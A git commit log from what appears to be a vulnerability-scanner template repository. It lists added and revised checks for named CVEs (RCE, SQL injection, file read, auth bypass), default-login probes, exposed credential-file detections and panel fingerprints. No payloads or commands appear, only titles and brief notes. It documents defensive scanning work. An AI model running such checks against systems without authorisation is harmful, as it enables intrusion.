ghost 349f6a9fc1 chore: generate templates checksum 🤖 2026-08-30 07:19:33 +00:00
ghost 028b2f64aa chore: generate new addition list 🤖 2026-08-30 07:17:28 +00:00
ghost 94301640a9 chore: generate CVEs metadata 🤖 2026-08-30 07:16:56 +00:00
ghost 252b869695 chore: sign templates 🤖 2026-08-30 07:16:47 +00:00
Ritik Chaddha eb2abbc3df Merge pull request #16645 from iamatownboy/pr/cve-2026-0743
Add CVE-2026-0743 WP Content Permission template
2026-08-30 12:46:28 +05:30
Ritik Chaddha 5d1a9ce1f0 Update linkding-panel.yaml 2026-08-30 14:11:43 +07:00
Ritik Chaddha 8960e4e8bb Update CVE-2026-0743.yaml 2026-08-30 14:10:04 +07:00
ghost ede1f4634a chore: generate templates checksum 🤖 2026-08-30 06:18:36 +00:00
ghost 675152b29b chore: sign templates 🤖 2026-08-30 06:15:33 +00:00
Dhiyaneshwaran 9dad782ed5 fix: shorten verbose template descriptions to match repo convention (#17030) 2026-08-30 13:15:13 +07:00
ghost 59a9a6e236 chore: generate templates checksum 🤖 2026-08-30 05:59:39 +00:00
ghost a772f6bbe5 chore: generate new addition list 🤖 2026-08-30 05:57:33 +00:00
ghost 172a019958 chore: generate new addition list 🤖 2026-08-30 05:57:14 +00:00
github-actions[bot] 97aa715df3 chore: add impact and remediation fields 🤖 2026-08-30 05:57:07 +00:00
ghost f467477a15 chore: generate CVEs metadata 🤖 2026-08-30 05:57:03 +00:00
ghost 93dbd9c99c chore: sign templates 🤖 2026-08-30 05:56:56 +00:00
Aman Rawat 7e7661e97a Merge pull request #16818 from ye11oc4t/agent/cve-2026-9133
Add CVE-2026-9133 template
2026-08-30 11:26:35 +05:30
Aman Rawat cc4053b1e2 Merge pull request #16795 from str4k3r/str4k3r/cve-2026-55229
Add CVE-2026-55229 template
2026-08-30 11:26:16 +05:30
ghost f92d1fb1df chore: generate templates checksum 🤖 2026-08-30 05:49:36 +00:00
ghost e8c9077600 chore: generate new addition list 🤖 2026-08-30 05:47:35 +00:00
ghost 2f1f4e51e5 chore: sign templates 🤖 2026-08-30 05:46:55 +00:00
RootKaitoandDhiyaneshwaran 991bba2163 Add Chatwoot, Directus, Loki, and vmagent detection templates (#17027)
* chore: add new templates for exposed APIs and unauthenticated access detection

* chore: update Chatwoot Super Admin Panel template with verification and matcher adjustments

* fix: set correct author field on all templates

* fix: remove duplicate templates, rename IDs to follow conventions

- Remove jaeger-ui-exposed.yaml (duplicate of jaeger-ui-dashboard.yaml)
- Remove thanos-query-exposed.yaml (duplicate of thanos-prometheus-exposure.yaml)
- Rename directus-server-info-exposed -> directus-api-exposure
- Rename grafana-loki-unauth-api -> grafana-loki-api-exposure
- Rename victoriametrics-vmagent-exposed -> victoriametrics-vmagent-api-exposure
- Fix max-request mismatch in loki template (2 -> 1)
- Remove leftover TODO comments
- Set verified: true on cleaned-up templates

* chore: update vendor field in directus API exposure template and add header matcher for VictoriaMetrics vmagent

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 09:46:32 +04:00
github-actions[bot] 5f81e76978 chore: add impact and remediation fields 🤖 2026-08-30 03:34:59 +00:00
ghost 60950d3baa chore: generate new addition list 🤖 2026-08-30 03:34:54 +00:00
ghost eeed99ab8f chore: generate CVEs metadata 🤖 2026-08-30 03:34:21 +00:00
Roberto Nunes f65117e74e Merge pull request #16793 from str4k3r/str4k3r/cve-2026-44177
Add CVE-2026-44177 template
2026-08-30 12:34:00 +09:00
ghost 89f4c77f85 chore: update EPSS scores 🤖 2026-08-30 02:04:29 +00:00
Ritik Chaddha 16ce244302 Update CVE-2026-9133.yaml 2026-08-30 02:46:10 +07:00
Ritik Chaddha 24539168e7 Update CVE-2026-55229.yaml 2026-08-30 02:29:00 +07:00
Ritik Chaddha fca4881957 Update CVE-2026-44177.yaml 2026-08-30 02:10:12 +07:00
Jared Brits 4bb4b3eed5 Add Gargoyle Router Detection configuration 2026-08-29 14:12:27 -04:00
ghost 578e2309d1 chore: generate templates checksum 🤖 2026-08-29 10:10:15 +00:00
ghost 3df4ca5ec3 chore: generate CVEs metadata 🤖 2026-08-29 10:07:38 +00:00
ghost b78b60c84a chore: sign templates 🤖 2026-08-29 10:07:28 +00:00
Dhiyaneshwaran 48b00b205c Merge pull request #17024 from inokii/bug/cve-2026-41042-filename
Fix CVE-2026-41042 filename
2026-08-29 14:07:06 +04:00
Matthew Kienow 3d69e42460 Remove backtick from filename 2026-08-29 16:59:31 +07:00
ghost ad2c411039 chore: update EPSS scores 🤖 2026-08-29 02:04:18 +00:00
Chris b8334cc926 Add CVE-2026-81578 2026-08-29 01:11:15 +02:00
ghost ae91a75c96 chore: update KEV and vKEV tags and metadata 🤖 2026-08-28 05:44:37 +00:00
ghost 22248d4341 chore: update EPSS scores 🤖 2026-08-28 04:35:57 +00:00
ghost d546d8ad56 chore: generate templates checksum 🤖 2026-08-27 06:11:29 +00:00
ghost d4d9700e49 chore: generate new addition list 🤖 2026-08-27 06:09:23 +00:00
ghost 6cdb72649c chore: generate CVEs metadata 🤖 2026-08-27 06:08:47 +00:00
ghost 2a55830e1d chore: sign templates 🤖 2026-08-27 06:08:43 +00:00
Aman Rawat b9bf74de3b Merge pull request #17011 from projectdiscovery/CVE-2026-32475
CVE-2026-32475 - Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
2026-08-27 11:38:21 +05:30
ghost c32669f657 chore: generate templates checksum 🤖 2026-08-27 05:25:30 +00:00
ghost ee54910e25 chore: generate new addition list 🤖 2026-08-27 05:23:22 +00:00
ghost 709ff43d6e chore: sign templates 🤖 2026-08-27 05:22:41 +00:00
Dhiyaneshwaran 61001fa301 Merge pull request #17014 from ChrisJr404/add-package-manager-credential-exposures
Add exposed package manager credential file templates
2026-08-27 09:22:22 +04:00
ghost fc790ed927 chore: generate templates checksum 🤖 2026-08-27 05:18:11 +00:00
Roberto Nunes eadc2ed9ab Rename nuget-config-credentials-exposure.yaml to nuget-config-exposure.yaml 2026-08-27 14:17:19 +09:00
ghost 62d66a7847 chore: generate new addition list 🤖 2026-08-27 05:16:05 +00:00
ghost 5ade05950a chore: sign templates 🤖 2026-08-27 05:15:32 +00:00
Dhiyaneshwaran dfd243107b Merge pull request #17018 from projectdiscovery/Akokonunes-patch-7
Add default login for Johnson Controls Frick Quantum HD
2026-08-27 09:15:07 +04:00
Roberto Nunes 317654a87d Rename maven-settings-credentials-exposure.yaml to maven-settings-xml-exposure.yaml 2026-08-27 14:13:09 +09:00
Dhiyaneshwaran 8063f22be3 Update johnson-controls-default-login.yaml 2026-08-27 09:09:14 +04:00
Dhiyaneshwaran 7109810058 Update and rename http/default-logins/johnson-controls-frick-quantum-hd-compressor-default-login.yaml to http/default-logins/johnson/johnson-controls-default-login.yaml 2026-08-27 09:07:07 +04:00
ghost d66691a7dd chore: update KEV and vKEV tags and metadata 🤖 2026-08-27 04:49:47 +00:00
ghost 4d61e1cee6 chore: generate templates checksum 🤖 2026-08-27 04:27:22 +00:00
Roberto Nunes a7b10e26f8 Update johnson-controls-frick-quantum-hd-compressor-default-login.yaml 2026-08-27 13:26:01 +09:00
Roberto Nunes 31aa71ac85 Update maven-settings-credentials-exposure.yaml 2026-08-27 13:25:10 +09:00
ghost 212c17c35d chore: generate new addition list 🤖 2026-08-27 04:25:04 +00:00
Roberto Nunes d0ac3a75a2 Update nuget-config-credentials-exposure.yaml 2026-08-27 13:24:50 +09:00
ghost 96a5c8895b chore: sign templates 🤖 2026-08-27 04:24:27 +00:00
Roberto Nunes 700ebedd83 Update johnson-controls-frick-quantum-hd-compressor-default-login.yaml 2026-08-27 13:24:18 +09:00
Dhiyaneshwaran b9fd0e635a Merge pull request #17013 from ChrisJr404/add-selfhosted-app-detect
Add detection templates for Vikunja, Mealie and Homebox
2026-08-27 08:24:05 +04:00
ghost cf105ec1a3 chore: update EPSS scores 🤖 2026-08-27 03:38:12 +00:00
Roberto Nunes 3a5972a6fe Update mealie-detect.yaml 2026-08-27 12:27:10 +09:00
Roberto Nunes f270b4ae63 Delete http/technologies/homebox-detect.yaml 2026-08-27 12:22:45 +09:00
Roberto Nunes 0705edb71a Update mealie-detect.yaml 2026-08-27 11:58:28 +09:00
Roberto Nunes 215020485f Update vikunja-detect.yaml 2026-08-27 11:49:28 +09:00
Roberto Nunes 6aee4c0ec3 Add default login for Johnson Controls Frick Quantum HD
Added default login credentials for Johnson Controls Frick Quantum HD Compressors, including HTTP request details and attack payloads.
2026-08-27 11:40:51 +09:00
Roberto Nunes ace05f202d Update maven-settings-credentials-exposure.yaml 2026-08-27 10:13:43 +09:00
Roberto Nunes af1b37e387 Update maven-settings-credentials-exposure.yaml 2026-08-27 10:10:26 +09:00
Roberto Nunes 07909c6c5d Update exposure description and matchers in YAML 2026-08-27 09:41:47 +09:00
root 6b2329c915 feat(cve): add template for CVE-2020-29134 (TOTVS Fluig Directory Traversal) 2026-08-26 20:32:26 -04:00
Roberto Nunes 6741b40f9e Update pypirc-credentials-exposure.yaml 2026-08-27 09:19:27 +09:00
Roberto Nunes 16b3c4cbd3 Update pypirc-credentials-exposure.yaml 2026-08-27 09:11:47 +09:00
Roberto Nunes 2aafa352d7 Update pypirc-credentials-exposure.yaml 2026-08-27 08:59:29 +09:00
Chris (ChrisJr404) 6df7d286af Add exposed package manager credential file templates 2026-08-26 12:04:45 -04:00
Chris (ChrisJr404) 3ae650af42 Add detection templates for Vikunja, Mealie and Homebox 2026-08-26 11:19:43 -04:00
ghost a7899ee9d8 chore: generate templates checksum 🤖 2026-08-26 13:08:43 +00:00
ghost 4449cd2571 chore: generate new addition list 🤖 2026-08-26 13:06:30 +00:00
ghost 71f753c955 chore: sign templates 🤖 2026-08-26 13:05:52 +00:00
Dhiyaneshwaran a9a5dc6314 Merge pull request #16981 from ChrisJr404/add-komga-panel
Add Komga media server detection template
2026-08-26 17:05:30 +04:00
Dhiyaneshwaran ec27fc5e30 CVE-2026-32475 - Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler 2026-08-26 16:55:06 +04:00
ghost ed8fed8548 chore: generate templates checksum 🤖 2026-08-26 10:50:54 +00:00
ghost 5bb58d9a78 chore: generate new addition list 🤖 2026-08-26 10:50:04 +00:00
ghost 0d27a0e824 chore: generate new addition list 🤖 2026-08-26 10:49:55 +00:00
ghost e994cdb39c chore: sign templates 🤖 2026-08-26 10:49:26 +00:00
Dhiyaneshwaran 707856b736 Merge pull request #16985 from ChrisJr404/planka-panel-detect
Add Planka panel detection template
2026-08-26 14:49:05 +04:00
Dhiyaneshwaran f89c69c4ba Merge pull request #16996 from ChrisJr404/add-donetick-detection
Add DocuSeal detection template
2026-08-26 14:48:56 +04:00
ghost d26b50372e chore: generate new addition list 🤖 2026-08-26 10:48:46 +00:00
ghost 23231cd471 chore: generate CVEs metadata 🤖 2026-08-26 10:48:14 +00:00
ghost b8ecf96578 chore: sign templates 🤖 2026-08-26 10:48:09 +00:00
Dhiyaneshwaran 67af6ebee2 Merge pull request #16681 from ywh-jfellus/ywh-CVE-2026-65761
feat(CVE-2026-65761): add template for Joomla Easy Store extension Unauthenticated SQL Injection
2026-08-26 14:47:49 +04:00
Dhiyaneshwaran ec7c1cf599 Update komga-panel.yaml 2026-08-26 14:47:28 +04:00
ghost 8d8861d3e3 chore: generate templates checksum 🤖 2026-08-26 10:28:55 +00:00
ghost d1cefaf81c chore: sign templates 🤖 2026-08-26 10:26:09 +00:00
Roberto Nunes d0ae416581 Merge pull request #16971 from Dishant4081/fix-cve-2024-52433
fix(http/cves/2024): CVE-2024-52433 template cannot match a genuine my-geo-posts-free install
2026-08-26 19:25:46 +09:00
Akokonunes 12a2d53f52 Merge branch 'main' into fix-cve-2024-52433
Resolve conflict in http/cves/2024/CVE-2024-52433.yaml.

This branch rewrites the PHP object-injection payload and matcher; main had
meanwhile refreshed the template's EPSS scores and re-signed it, so the two
sides disagreed on the trailing "# digest:" line.

Resolution: keep this branch's payload and matcher fix, take main's newer
epss-score and epss-percentile, and restore the digest line. The digest is
regenerated by template-sign.yml on push to main.
2026-08-26 19:18:34 +09:00
Aman Rawat 448a87b7ad Update donetick-panel.yaml 2026-08-26 14:41:36 +05:30
Aman Rawat 17f5746de4 Update silverbullet-panel.yaml 2026-08-26 14:37:27 +05:30
Aman Rawat 6dbde3474e Update komga-panel.yaml 2026-08-26 14:31:30 +05:30
Aman Rawat 6550aa1c60 Update linkding-panel.yaml 2026-08-26 14:27:07 +05:30
Aman Rawat 6fe70ae52c Update CVE-2026-65761.yaml 2026-08-26 13:46:05 +05:30
ghost fd6bc3dc9d chore: generate templates checksum 🤖 2026-08-26 07:50:24 +00:00
ghost 45780b108a chore: generate new addition list 🤖 2026-08-26 07:48:19 +00:00
ghost f90d93655a chore: generate CVEs metadata 🤖 2026-08-26 07:47:50 +00:00
ghost 358830cb17 chore: sign templates 🤖 2026-08-26 07:47:38 +00:00
Aman Rawat 5bd9401e6f Merge pull request #17010 from projectdiscovery/js-template-conversion
Update and rename CVE-2026-55040.yaml to CVE-2026-55040.yaml
2026-08-26 13:17:18 +05:30
Dhiyaneshwaran 446ffda6fe Fix YAML syntax error in CVE-2026-42878 template
Move misplaced description text from under remediation (with wrong
indentation) to the empty description block where it belongs.
2026-08-26 11:40:32 +04:00
Dhiyaneshwaran 3375026763 Update and rename CVE-2026-55040.yaml to CVE-2026-55040.yaml 2026-08-26 11:32:34 +04:00
ghost fe16dff2d5 chore: generate templates checksum 🤖 2026-08-26 07:02:59 +00:00
ghost 543a937fa0 chore: generate new addition list 🤖 2026-08-26 07:00:42 +00:00
ghost 8d9be78923 chore: sign templates 🤖 2026-08-26 07:00:04 +00:00
Dhiyaneshwaran d40891cb22 Merge pull request #17003 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-77806.yaml - SPIP < 4.4.22 - Unauthenticated RCE
2026-08-26 10:59:45 +04:00
ghost 1cb5cfb49d chore: generate templates checksum 🤖 2026-08-26 06:55:34 +00:00
ghost fb944ef1a2 chore: generate new addition list 🤖 2026-08-26 06:53:24 +00:00
ghost 74a1ff9244 chore: sign templates 🤖 2026-08-26 06:52:48 +00:00
Dhiyaneshwaran a03fdb351f Merge pull request #16999 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-73570 for Zimbra RCE vulnerability
2026-08-26 10:52:25 +04:00
ghost 1172b8fefe chore: generate templates checksum 🤖 2026-08-26 06:22:33 +00:00
ghost 898dd68786 chore: generate new addition list 🤖 2026-08-26 06:20:11 +00:00
ghost e599618741 chore: sign templates 🤖 2026-08-26 06:19:39 +00:00
Aman Rawat 7e4c5d0afa Merge pull request #16786 from patrick-threatmate/cve-2026-18577
Add CVE-2026-18577 - N-able N-central < 2026.3.1.10 Authentication Bypass (KEV)
2026-08-26 11:49:17 +05:30
ghost cdcca8f0b9 chore: generate templates checksum 🤖 2026-08-26 05:27:14 +00:00
ghost 83b8de69e2 chore: generate new addition list 🤖 2026-08-26 05:25:31 +00:00
github-actions[bot] e485547b77 chore: add impact and remediation fields 🤖 2026-08-26 05:25:29 +00:00
ghost 9db03ebcab chore: generate new addition list 🤖 2026-08-26 05:24:53 +00:00
ghost 052459cea0 chore: sign templates 🤖 2026-08-26 05:24:51 +00:00
ghost 4530e95572 chore: generate new addition list 🤖 2026-08-26 05:24:40 +00:00
github-actions[bot] 2f17cf0f60 chore: add impact and remediation fields 🤖 2026-08-26 05:24:32 +00:00
Aman Rawat e461e354e3 Merge pull request #16975 from projectdiscovery/CVE-2026-55040
CVE-2026-55040 - Microsoft SharePoint Server - JWT Authentication Bypass
2026-08-26 10:54:31 +05:30
ghost 4bd59c752e chore: generate new addition list 🤖 2026-08-26 05:24:24 +00:00
ghost 2bd2b2f4e6 chore: sign templates 🤖 2026-08-26 05:24:15 +00:00
Aman Rawat ecf6cc239e Merge pull request #16978 from ChrisJr404/add-wallabag-panel
Add wallabag detection template
2026-08-26 10:53:54 +05:30
Aman Rawat 32cb3f9403 Merge pull request #16982 from ChrisJr404/add-cve-2025-53887
Add CVE-2025-53887 Directus version disclosure
2026-08-26 10:53:42 +05:30
Aman Rawat 0018b7bc0b Merge pull request #16988 from ChrisJr404/cve-2026-42878-facturascripts-phpinfo
Add CVE-2026-42878 - FacturaScripts unauthenticated phpinfo() disclosure
2026-08-26 10:53:28 +05:30
Aman Rawat d5844be8ab Merge pull request #16601 from zer0p0intvvv/add-cve-2026-7467-expand-maker
[CVE-2026-7467] Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
2026-08-26 10:53:18 +05:30
ghost 2d5f9b5852 chore: update KEV and vKEV tags and metadata 🤖 2026-08-26 03:23:33 +00:00
ghost 1205d1e6ba chore: generate templates checksum 🤖 2026-08-26 02:52:05 +00:00
ghost 11de0c5f56 chore: generate new addition list 🤖 2026-08-26 02:49:56 +00:00
ghost 255aa9936a chore: sign templates 🤖 2026-08-26 02:49:17 +00:00
Roberto Nunes a499bd81e3 Merge pull request #16984 from ChrisJr404/inventree-panel-detect
Add InvenTree Panel detection template
2026-08-26 11:48:57 +09:00
ghost 2708b5efc2 chore: update EPSS scores 🤖 2026-08-26 02:29:19 +00:00
Roberto Nunes ae5eb24275 Update CVE-2026-77806.yaml with new HTTP flow 2026-08-25 21:59:09 +09:00
Dhiyaneshwaran 1fcc383a40 Fix 5 files with incorrect diffs against upstream
- CVE-2021-41419, CVE-2024-20404, CVE-2024-2862, CVE-2025-1023:
  restore dropped vkev tag, remove extra blank line
- unauth-java-message-broker-detect: fix broken line split and
  trailing CR, use vuln instead of discovery

All 592 files now differ from upstream/main only by the appended
vuln or discovery tag.
2026-08-25 15:42:31 +04:00
Dhiyaneshwaran 07a3c90645 Fix tag on unauth-java-message-broker-detect
Unauthenticated service detection is a security finding, not
service discovery. Use vuln instead of discovery.
2026-08-25 15:37:03 +04:00
Dhiyaneshwaran 9d1edd10b4 Resolve merge conflicts with upstream main
Take upstream changes (updated EPSS scores, expanded metadata,
tag fixes, digests) and re-apply vuln/discovery tags on top.
2026-08-25 15:33:38 +04:00
Roberto Nunes 6b34a03b44 Create CVE-2026-77806.yaml 2026-08-25 20:30:01 +09:00
Dhiyaneshwaran c6a660fea8 Fix misclassified discovery tags on exposure/misconfig templates
Exposures and misconfigurations are vulnerabilities, not discovery.

- 6 files: replaced discovery with vuln (exposures/apis, exposures/configs,
  misconfiguration/administrate-dashboard)
- 5 files: removed duplicate discovery tag where vuln already present
  (xampp-phpinfo, unauth-akhq/hawkeye/phoenix/supervisor dashboards)

Kept discovery on javascript/udp/misconfiguration/mdns-enum.yaml
as mDNS enumeration is legitimately discovery.
2026-08-25 15:27:09 +04:00
Dhiyaneshwaran 6cbc4802d1 Resolve merge conflict with upstream signoz-panel
Keep the two-step flow (homepage + /api/v1/version) with version
extraction. Credit rxerium as co-author of the original template.
2026-08-25 15:16:38 +04:00
Dhiyaneshwaran 3f8331ea70 Require X-Dawarich-Version header in matcher
The kval extractor depends on this header for version extraction.
Using contains_any allowed matches on instances with only
X-Dawarich-Response, resulting in detection without version output.
2026-08-25 15:12:59 +04:00
Dhiyaneshwaran 2284c06269 Update signoz-panel.yaml 2026-08-25 15:12:23 +04:00
Dhiyaneshwaran 1324cb15db Fix extractor to return single version
Switch from regex to json extractor with JQ path '.version'
so only the top-level version field is extracted, avoiding
duplicate matches from other version-like keys in the response.
2026-08-25 15:08:45 +04:00
Dhiyaneshwaran fbac0325a3 Update inventree-panel.yaml 2026-08-25 15:06:49 +04:00
Dhiyaneshwaran 887dc0fbcd Use contains_any for header matching
Combine separate contains checks into contains_any for more
resilient detection when only one header is present.
2026-08-25 15:05:58 +04:00
Dhiyaneshwaran 259954db0b Update CVE-2026-0743.yaml 2026-08-25 15:04:30 +04:00
Roberto Nunes 2b5ba494ba minor fix, add compare version CVE-2026-73570.yaml 2026-08-25 19:17:56 +09:00
ghost d7114226be chore: generate templates checksum 🤖 2026-08-25 09:32:31 +00:00
ghost e83951aff1 chore: sign templates 🤖 2026-08-25 09:29:46 +00:00
Dhiyaneshwaran 4f03d9f685 Modify CVE-2026-18963.yaml for request limit and flow (#17002) 2026-08-25 14:59:26 +05:30
Ritik Chaddha d4d250ba98 Update CVE-2026-73570.yaml 2026-08-25 14:42:21 +05:30
ghost 1a1f57dc3a chore: generate templates checksum 🤖 2026-08-25 09:08:40 +00:00
ghost ca6868cbeb chore: generate CVEs metadata 🤖 2026-08-25 09:05:58 +00:00
ghost a7258b7eeb chore: sign templates 🤖 2026-08-25 09:05:56 +00:00
Dhiyaneshwaran 34814c0a7a Merge pull request #16969 from projectdiscovery/CVE-2026-76904
Update matched_feature extractor in CVE-2026-76904.yaml
2026-08-25 13:05:36 +04:00
ghost ed86b32d5b chore: generate templates checksum 🤖 2026-08-25 07:23:39 +00:00
ghost 119c71155e chore: generate new addition list 🤖 2026-08-25 07:22:04 +00:00
ghost c71379e764 chore: generate new addition list 🤖 2026-08-25 07:21:43 +00:00
ghost 37107d45bc chore: sign templates 🤖 2026-08-25 07:21:26 +00:00
Roberto Nunes 93772d765b Merge pull request #16922 from righettod/mguard_add
Add detection of "mGuard" appliances.
2026-08-25 16:21:05 +09:00
ghost 74bc9bc2c9 chore: generate new addition list 🤖 2026-08-25 07:20:59 +00:00
ghost b15e37957c chore: generate new addition list 🤖 2026-08-25 07:20:53 +00:00
Roberto Nunes 4b1c9f1c2a Merge pull request #16925 from icarot/main
Creating litellm-default-login.yaml
2026-08-25 16:20:46 +09:00
Roberto Nunes e778265a2e Merge pull request #16976 from projectdiscovery/DhiyaneshGeek-patch-2
Update author field in CVE-2026-61511.yaml
2026-08-25 16:20:41 +09:00
ghost f195f5bcde chore: generate CVEs metadata 🤖 2026-08-25 07:20:29 +00:00
ghost 950dec2345 chore: sign templates 🤖 2026-08-25 07:20:27 +00:00
Roberto Nunes 2424ac1469 Merge pull request #16651 from iamatownboy/pr/cve-2026-12898
Add CVE-2026-12898 All-in-One WP Migration template
2026-08-25 16:20:03 +09:00
Roberto Nunes f69a86b3a2 Merge pull request #16990 from ChrisJr404/add-homebox-detection
Add Homebox detection template
2026-08-25 16:19:57 +09:00
ghost 24282b221a chore: generate templates checksum 🤖 2026-08-25 06:38:23 +00:00
Dhiyaneshwaran a23308ccc4 Merge branch 'main' into DhiyaneshGeek-patch-2 2026-08-25 10:37:13 +04:00
ghost b3521c5ce8 chore: generate new addition list 🤖 2026-08-25 06:36:14 +00:00
ghost 8f0528a6c2 chore: generate CVEs metadata 🤖 2026-08-25 06:35:55 +00:00
ghost 5ee30b7485 chore: sign templates 🤖 2026-08-25 06:35:48 +00:00
Dhiyaneshwaran 4fda12e6ce Merge pull request #16567 from ArjunSecurin/add-securin-cve-templates
Add 9 CVE detection templates (Securin Labs)
2026-08-25 10:35:27 +04:00
Dhiyaneshwaran a51fade2aa Update CVE-2024-52433.yaml with new details 2026-08-25 10:28:45 +04:00
ghost 819ec063e4 chore: generate templates checksum 🤖 2026-08-25 06:27:40 +00:00
ghost d25432cb84 chore: generate new addition list 🤖 2026-08-25 06:26:46 +00:00
ghost b3cf31607c chore: generate CVEs metadata 🤖 2026-08-25 06:26:22 +00:00
ghost 3ae50b4382 chore: sign templates 🤖 2026-08-25 06:26:12 +00:00
Dhiyaneshwaran 027c5c0253 Merge pull request #16779 from str4k3r/str4k3r/cve-2026-23491
Add CVE-2026-23491: InvoicePlane <= 1.6.3 unauthenticated arbitrary file read
2026-08-25 10:25:53 +04:00
ghost b97ca675b5 chore: generate new addition list 🤖 2026-08-25 06:25:45 +00:00
ghost 1fc026a930 chore: generate CVEs metadata 🤖 2026-08-25 06:25:13 +00:00
ghost a69f4aecfd chore: sign templates 🤖 2026-08-25 06:25:08 +00:00
Dhiyaneshwaran d6b8640a8b Merge pull request #16790 from str4k3r/str4k3r/cve-2026-23536
Add CVE-2026-23536 (Feast Feature Server <=0.58.0 - Unauthenticated Arbitrary File Read)
2026-08-25 10:24:46 +04:00
ghost 4f67ebdfdc chore: generate new addition list 🤖 2026-08-25 06:23:45 +00:00
ghost 940ca7cfa2 chore: sign templates 🤖 2026-08-25 06:23:08 +00:00
Dhiyaneshwaran 0866728de8 Merge pull request #16977 from ChrisJr404/add-karakeep-panel
Add Karakeep detection template
2026-08-25 10:22:46 +04:00
Dhiyaneshwaran d86281740f Update karakeep-panel.yaml 2026-08-25 10:06:27 +04:00
ghost 182ab56a37 chore: generate templates checksum 🤖 2026-08-25 06:06:05 +00:00
ghost b372bfb86a chore: sign templates 🤖 2026-08-25 06:04:34 +00:00
ghost 42302c47a3 chore: generate new addition list 🤖 2026-08-25 06:04:18 +00:00
Dhiyaneshwaran 5fc069fd30 Merge pull request #16986 from ChrisJr404/wallos-panel-detection
Add Wallos panel detection template
2026-08-25 10:04:11 +04:00
ghost f951439fe9 chore: sign templates 🤖 2026-08-25 06:03:40 +00:00
Dhiyaneshwaran 6bfb2baa3d Merge pull request #16992 from ChrisJr404/add-detection
Add Documenso detection template
2026-08-25 10:03:18 +04:00
ghost 23658035d3 chore: update KEV and vKEV tags and metadata 🤖 2026-08-25 03:20:00 +00:00
ghost 8347839e7f chore: update EPSS scores 🤖 2026-08-25 02:24:57 +00:00
Roberto Nunes ab6d493117 Add CVE-2026-73570 for Zimbra RCE vulnerability 2026-08-25 10:49:26 +09:00
Roberto Nunes 14d8ecd52a Update docmost-panel.yaml 2026-08-25 09:34:49 +09:00
Roberto Nunes 5fc74f01a4 Update CVE-2026-42878.yaml 2026-08-25 09:27:19 +09:00
Roberto Nunes 6a35ddc2b0 Refine CVE-2026-42878 details and verification status
Updated the CVE-2026-42878 entry to improve clarity and accuracy of the description, impact, and remediation sections. Changed metadata verification status to true.
2026-08-25 09:26:57 +09:00
Roberto Nunes ec041233a7 Refactor Documenso panel configuration
Updated the description for clarity and modified max-request from 2 to 1. Removed redundant matchers and consolidated HTTP request matchers.
2026-08-25 09:21:06 +09:00
Ritik Chaddha 9a6bb2b344 Update and rename mguard-security-appliance-login.yaml to mguard-security-appliance-panel.yaml 2026-08-25 04:48:12 +05:30
Ritik Chaddha 8129552233 Update litellm-default-login.yaml 2026-08-25 04:46:41 +05:30
Ritik Chaddha bbb2761055 Update wallabag-panel.yaml 2026-08-25 04:41:38 +05:30
Ritik Chaddha 393991b38f Update wallos-panel.yaml 2026-08-25 04:36:01 +05:30
Ritik Chaddha 974787f3ca Update homebox-detect.yaml 2026-08-25 04:30:38 +05:30
Ritik Chaddha 2737b5af83 Update CVE-2026-23536.yaml 2026-08-25 04:14:06 +05:30
ghost 0d52c00779 chore: generate templates checksum 🤖 2026-08-24 22:41:56 +00:00
ghost 389b4faf19 chore: generate CVEs metadata 🤖 2026-08-24 22:39:15 +00:00
Dhiyaneshwaran 4a7e590dff Merge pull request #16994 from projectdiscovery/DhiyaneshGeek-patch-3
Rename CVE-2025-14047.yaml to CVE-2025-14047.yaml
2026-08-25 02:38:48 +04:00
Chris (ChrisJr404) 984af51b36 Add Donetick panel detection template 2026-08-24 18:38:08 -04:00
ghost d91a5a254b chore: generate templates checksum 🤖 2026-08-24 22:24:37 +00:00
ghost 9697476ec7 chore: generate new addition list 🤖 2026-08-24 22:22:50 +00:00
Ritik Chaddha 087638652c Update CVE-2026-18577.yaml 2026-08-25 03:52:24 +05:30
ghost 9bff7cde48 chore: sign templates 🤖 2026-08-24 22:21:52 +00:00
Roberto Nunes 277ed07821 Merge pull request #16995 from projectdiscovery/CVE-2026-18963
CVE-2026-18963 - Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
2026-08-25 07:21:31 +09:00
Ritik Chaddha e7e7e34c40 Update CVE-2026-23491.yaml 2026-08-25 03:49:26 +05:30
Chris (ChrisJr404) 2628a30e8a Add DocuSeal detection template 2026-08-24 18:08:24 -04:00
Dhiyaneshwaran 0eb1fbb1a3 CVE-2026-18963 - Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass 2026-08-25 01:57:32 +04:00
Dhiyaneshwaran fb522ec626 Rename CVE-2025-14047.yaml to CVE-2025-14047.yaml 2026-08-25 01:52:08 +04:00
Chris (ChrisJr404) 51ae093e70 Add Dawarich detection template
Detects Dawarich via the unauthenticated /api/v1/health endpoint, which
returns X-Dawarich-Response and X-Dawarich-Version headers and a status
payload. Version is extracted from the X-Dawarich-Version header.
2026-08-24 17:47:05 -04:00
Ritik Chaddha ecbe9126d1 Update CVE-2026-7467.yaml 2026-08-25 03:16:42 +05:30
Ritik Chaddha 42a965b7c1 Delete http/cves/2018/CVE-2018-15708.yaml 2026-08-25 03:11:00 +05:30
Ritik Chaddha ff4fc8ffb7 POC is not precise(causing FPs) 2026-08-25 03:09:03 +05:30
Ritik Chaddha 6a99115d7f POC is not precise 2026-08-25 03:07:37 +05:30
Ritik Chaddha 3ae975fa09 added additional req 2026-08-25 03:01:14 +05:30
Chris (ChrisJr404) 5aadd09e3a Add Documenso detection template 2026-08-24 17:17:56 -04:00
Ritik Chaddha e60de808e2 Delete network/cves/2018/CVE-2018-10933.yaml (not KEV) 2026-08-25 02:36:59 +05:30
Ritik Chaddha 46c59dd6d3 Delete http/cves/2019/CVE-2019-8942.yaml 2026-08-25 02:35:50 +05:30
Ritik Chaddha 430d09664a Update CVE-2019-11043.yaml 2026-08-25 02:34:46 +05:30
Ritik Chaddha 40872320bf Update CVE-2017-7504.yaml 2026-08-25 02:31:09 +05:30
Chris (ChrisJr404) e02ca3a41b Add RomM detection template 2026-08-24 16:41:27 -04:00
Chris (ChrisJr404) 892be68590 Add Homebox detection template 2026-08-24 16:10:45 -04:00
ghost bad0941d15 chore: generate templates checksum 🤖 2026-08-24 19:58:13 +00:00
